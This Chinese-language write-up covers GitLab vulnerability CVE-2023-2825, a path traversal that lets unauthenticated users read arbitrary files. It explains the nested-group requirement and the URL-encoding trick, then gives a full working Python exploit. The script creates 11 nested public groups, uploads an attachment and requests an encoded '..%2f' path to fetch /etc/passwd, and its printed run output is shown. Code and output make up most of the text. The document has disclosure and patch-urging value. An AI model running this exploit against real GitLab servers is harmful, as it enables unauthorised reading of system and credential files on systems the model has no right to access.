2023年5月23日,GitLab 发布了版本 16.0.1,修复了一个影响社区版 (CE) 和企业版 (EE) 16.0.0 的严重漏洞 CVE-2023-2825。该漏洞允许未经身份验证的用户通过路径遍历缺陷读取任意文件。该漏洞由 pwnie 通过 HackerOne 的漏洞赏金计划发现。
截至撰写本文时,尚无公开的概念验证可用。
当附件存在于嵌套在至少五个组中的公共项目中时,未经身份验证的恶意用户可以利用路径遍历漏洞读取服务器上的任意文件。这是一个严重等级问题(CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N, 10.0)。
此漏洞有一个有趣的要求,即项目需要嵌套在至少5个组中。在我们的测试中,我们发现组数与可遍历的目录数之间存在直接关联。规则似乎是 N + 1,意味着如果你想遍历10个目录,你需要有11个组。
在标准 GitLab 安装中,文件附件上传到 /var/opt/gitlab/gitlab-rails/uploads/@hashed/<a>/<b>/<secret>/<secret>/<file>。因此,如果你想到达文件系统根目录,你必须向上返回10个目录,因此需要11个组。
当你在 GitLab 问题(issue)上上传文件作为附件时,会向 POST - /:repo/upload 发送请求。这会返回一个包含文件 URL 的 JSON 响应,允许你访问该文件。
文件 URL 由 /:repo/uploads/:id/:file 组成,其中 :file 就是文件名。将 :file 替换为任意文件路径将导致 GitLab 返回请求的文件。GitLab 未能清理此文件路径,导致路径遍历。
要成功利用此漏洞,你必须对文件路径中的 / 进行 URL 编码。GitLab 会将其作为值读取并在内部解码。如果不进行编码,GitLab 会将文件路径中的 / 解释为路由的一部分。
在我们的测试中,仅编码 / 就足以绕过 Nginx 路径错误。
未经身份验证的用户只能在满足嵌套组要求的公共仓库上利用此漏洞。访问仓库本身需要进行身份验证。
以下是使用 Python 编写的概念验证。它会创建11个组,创建一个公共仓库,上传一个文件,然后利用该漏洞获取 /etc/passwd 文件。
$ python3 poc.py
[*] Attempting to login...
[*] Login successful as user 'root'
[*] Creating 11 groups with prefix UJB
[*] Created group 'UJB-1'
[*] Created group 'UJB-2'
[*] Created group 'UJB-3'
[*] Created group 'UJB-4'
[*] Created group 'UJB-5'
[*] Created group 'UJB-6'
[*] Created group 'UJB-7'
[*] Created group 'UJB-8'
[*] Created group 'UJB-9'
[*] Created group 'UJB-10'
[*] Created group 'UJB-11'
[*] Created public repo 'UJB-1/UJB-2/UJB-3/UJB-4/UJB-5/UJB-6/UJB-7/UJB-8/UJB-9/UJB-10/UJB-11//CVE-2023-2825'
[*] Uploaded file '/uploads/74b16af4b9048e13c4311484bbfd3b76/file'
[*] Executing exploit, fetching file '/etc/passwd': GET - /UJB-1/UJB-2/UJB-3/UJB-4/UJB-5/UJB-6/UJB-7/UJB-8/UJB-9/UJB-10/UJB-11//CVE-2023-2825/uploads/74b16af4b9048e13c4311484bbfd3b76//..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
sshd:x:101:65534::/run/sshd:/usr/sbin/nologin
git:x:998:998::/var/opt/gitlab:/bin/sh
gitlab-www:x:999:999::/var/opt/gitlab/nginx:/bin/false
gitlab-redis:x:997:997::/var/opt/gitlab/redis:/bin/false
gitlab-psql:x:996:996::/var/opt/gitlab/postgresql:/bin/sh
mattermost:x:994:994::/var/opt/gitlab/mattermost:/bin/sh
registry:x:993:993::/var/opt/gitlab/registry:/bin/sh
gitlab-prometheus:x:992:992::/var/opt/gitlab/prometheus:/bin/sh
gitlab-consul:x:991:991::/var/opt/gitlab/consul:/bin/sh
import requests
import random
import string
from urllib.parse import urlparse
from bs4 import BeautifulSoup
ENDPOINT = "https://gitlab.example.com"
USERNAME = "root"
PASSWORD = "toor"
# Session for cookies
session = requests.Session()
# CSRF token
csrf_token = ""
# Ignore invalid SSL
requests.urllib3.disable_warnings()
def request(method, path, data=None, files=None, headers=None):
global csrf_token
if method == "POST" and isinstance(data, dict):
data["authenticity_token"] = csrf_token
response = session.request(
method,
f"{ENDPOINT}{path}",
data=data,
files=files,
headers=headers,
verify=False,
)
if response.status_code != 200:
print(response.text)
print(f"[*] Request failed: {method} - {path} => {response.status_code}")
exit(1)
if response.headers["content-type"].startswith("text/html"):
csrf_token = BeautifulSoup(response.text, "html.parser").find(
"meta", {"name": "csrf-token"}
)["content"]
return response
# Get initial CSRF token
request("GET", "")
# Login
print("[*] Attempting to login...")
request(
"POST",
"/users/sign_in",
data={"user[login]": USERNAME, "user[password]": PASSWORD},
)
print(f"[*] Login successful as user '{USERNAME}'")
# Create groups
group_prefix = "".join(random.choices(string.ascii_uppercase + string.digits, k=3))
print(f"[*] Creating 11 groups with prefix {group_prefix}")
parent_id = ""
for i in range(1, 12):
# Create group
name = f"{group_prefix}-{i}"
create_resp = request(
"POST",
"/groups",
data={
"group[parent_id]": parent_id,
"group[name]": name,
"group[path]": name,
"group[visibility_level]": 20,
"user[role]": "software_developer",
"group[jobs_to_be_done]": "",
},
)
# Get group id
parent_id = BeautifulSoup(create_resp.text, "html.parser").find(
"button", {"title": "Copy group ID"}
)["data-clipboard-text"]
print(f"[*] Created group '{name}'")
# Create project
project_resp = request(
"POST",
"/projects",
data={
"project[ci_cd_only]": "false",
"project[name]": "CVE-2023-2825",
"project[selected_namespace_id]": parent_id,
"project[namespace_id]": parent_id,
"project[path]": "CVE-2023-2825",
"project[visibility_level]": 20,
"project[initialize_with_readme": 1,
},
)
repo_path = urlparse(project_resp.url).path
print(f"[*] Created public repo '{repo_path}'")
# Upload file
file_resp = request(
"POST",
f"/{repo_path}/uploads",
files={"file": "hello world"},
headers={"X-CSRF-Token": csrf_token},
)
file_url = file_resp.json()["link"]["url"]
print(f"[*] Uploaded file '{file_url}'")
# Get /etc/passwd
exploit_path = f"/{repo_path}{file_url.split('file')[0]}/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd"
print(f"[*] Executing exploit, fetching file '/etc/passwd': GET - {exploit_path}")
exploit_resp = request("GET", exploit_path)
print(f"\n{exploit_resp.text}")
GitLab 建议尽快升级所有受此问题影响的版本。
https://about.gitlab.com/releases/2023/05/23/critical-security-release-gitlab-16-0-1-released/